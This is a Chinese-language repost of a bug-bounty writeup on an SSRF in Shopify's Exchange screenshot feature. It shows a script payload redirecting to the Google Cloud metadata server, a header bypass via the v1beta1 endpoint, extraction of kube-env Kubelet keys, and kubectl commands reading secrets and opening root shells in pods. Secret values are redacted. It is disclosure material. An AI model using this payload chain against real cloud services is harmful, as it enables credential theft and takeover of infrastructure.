实战Exchange中的SSRF在所有情况下都会导致ROOT访问漏洞的发现

  • A+
所属分类:未分类

漏洞点:your-store.myshopify.com 



漏洞利用链 - 如何获得所有Shopify实例的root访问权限

1 - 访问Google云元数据

1:创建一个商店(partners.shopify.com)


2:编辑模板password.liquid并添加以下内容:


<script>window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";// iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.</script>

3:转到https://exchange.shopify.com/create-a-isting 并安装Exchange应用程序


4:等待商店截图出现在Create Listing页面上


5:下载PNG并使用图像编辑软件将其打开或将其转换为JPEG(Chrome显示黑色PNG)


{} F289082


在Google Cloud实例中探索SSRF需要一个特殊的标题。但是,在阅读文档时,我发现真正简单的方法来“绕过”它:/v1beta1端点仍然可用,不需要Metadata-Flavor: Google标头,并且仍然返回相同的标记。


我试图泄漏更多的数据,但网页截图软件并没有产生任何application/text响应图像。但是,我发现我可以添加参数alt=json来强制application/json响应。我设法泄漏更多的数据,比如不完整的SSH公钥列表(包括电子邮件地址),项目名称(█████),实例名称等等:


<script>window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";</script>

{} F289081


我可以使用泄漏的令牌添加我的SSH密钥吗?没有


curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'

{

 "error": {

  "errors": [

   {

    "domain": "global",

    "reason": "forbidden",

    "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"

   },

   {

    "domain": "global",

    "reason": "forbidden",

    "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"

   }

  ],

  "code": 403,

  "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"

 }}

我检查了该令牌的范围,并且没有对Compute Engine API的读/写访问权限:


curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████"

{

 "issued_to": "███████",

 "audience": "███",

 "scope": "https://www.googleapis.com/auth/cloud-platform",

 "expires_in": 1307,

 "access_type": "offline"}

2 - 倾销kube-env

我创建了一个新的商店并递归地从这个实例中提取属性:http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive = true&alt = json


结果:

{F289455}


元数据隐藏(https://cloud.google.com/kubernetes-engine/docs/how-to/metadata-concealment)未启用,因此该kube-env属性可用。


由于图像被裁剪,我提出了一个新请求:http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt = json 以便查看Kubelet证书和Kubelet私钥的其余部分。


结果:

{F289456}


ca.crt


-----BEGIN CERTIFICATE-----█████████████████████████████████████████████████████████████████████████████████████████████████████████████████-----END CERTIFICATE-----

client.crt


-----BEGIN CERTIFICATE-----███████████████████████████████████████████████████████████████████████████████████████████████████████-----END CERTIFICATE-----

client.pem


-----BEGIN RSA PRIVATE KEY-----██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████-----END RSA PRIVATE KEY-----

MASTER_NAME:█████


3 - 使用Kubelet执行任意命令

可以列出所有窗格{F289460}:


$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespacesNAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE████████                    ██████████                    1/1    

并创建新的豆荚:


$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yamlpod "shell-demo" created$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demopod "shell-demo" deleted

我没有尝试删除正在运行的豆荚,显然,我不确定是否可以将它们与用户一起删除████████。但是,无法在此新Pod或任何其他Pod中执行命令:


$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bashError from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"

该get secrets命令不起作用,但可以描述给定的吊舱并使用其名称获取秘密。这就是我使用████名称空间中的实例泄漏kubernetes.io服务帐户令牌的方式████:


$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████Name:           ████████Namespace:      ██████Node:           ██████████Start Time:     Fri, 23 Mar 2018 13:53:13 +0000Labels:         █████

                ████

                █████Annotations:    <none>Status:         RunningIP:             █████████Controlled By:  █████Containers:

  default-http-backend:

    Container ID:   docker://███

    Image:          ██████

    Image ID:       docker-pullable://█████

    Port:           ████/TCP

    Host Port:      0/TCP

    State:          Running

      Started:      Sun, 22 Apr 2018 03:23:09 +0000

    Last State:     Terminated

      Reason:       Error

      Exit Code:    2

      Started:      Fri, 20 Apr 2018 23:39:21 +0000

      Finished:     Sun, 22 Apr 2018 03:23:07 +0000

    Ready:          True

    Restart Count:  180

    Limits:

      cpu:     10m

      memory:  20Mi

    Requests:

      cpu:        10m

      memory:     20Mi

    Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3

    Environment:  <none>

    Mounts:

      ██████Conditions:

  Type           Status

  Initialized    True

  Ready          True

  PodScheduled   TrueVolumes:

 ██████████:

    Type:        Secret (a volume populated by a Secret)

    SecretName: ███████

    Optional:    falseQoS Class:       GuaranteedNode-Selectors:  <none>Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s

                 node.kubernetes.io/unreachable:NoExecute for 300sEvents:          <none>

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yamlapiVersion: v1data:

  ca.crt: ██████████

  namespace: ████

  token: ██████████==kind: Secretmetadata:

  annotations:

    kubernetes.io/service-account.name: default

    kubernetes.io/service-account.uid: ████

  creationTimestamp: 2017-01-23T16:08:19Z

  name:█████

  namespace: ██████████

  resourceVersion: "115481155"

  selfLink: /api/v1/namespaces/████████/secrets/████

  uid: █████████type: kubernetes.io/service-account-token

最后,可以使用此令牌在任何容器中获取shell:


$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bashDefaulting container name to web.Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.███████:/# iduid=0(root) gid=0(root) groups=0(root)█████:/# lsapp  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  varbin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr███████:/# exit

$ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bashDefaulting container name to web.Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this [email protected]████:/# iduid=0(root) gid=0(root) groups=0(root)[email protected]████:/# lsapp  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  varbin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    [email protected]█████:/# exit

内部服务能否绕过网络访问控制?


可以访问哪些内部服务?

Google云元数据


安全影响

RCE




本文始发于微信公众号(飓风网络安全):实战Exchange中的SSRF在所有情况下都会导致ROOT访问漏洞的发现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: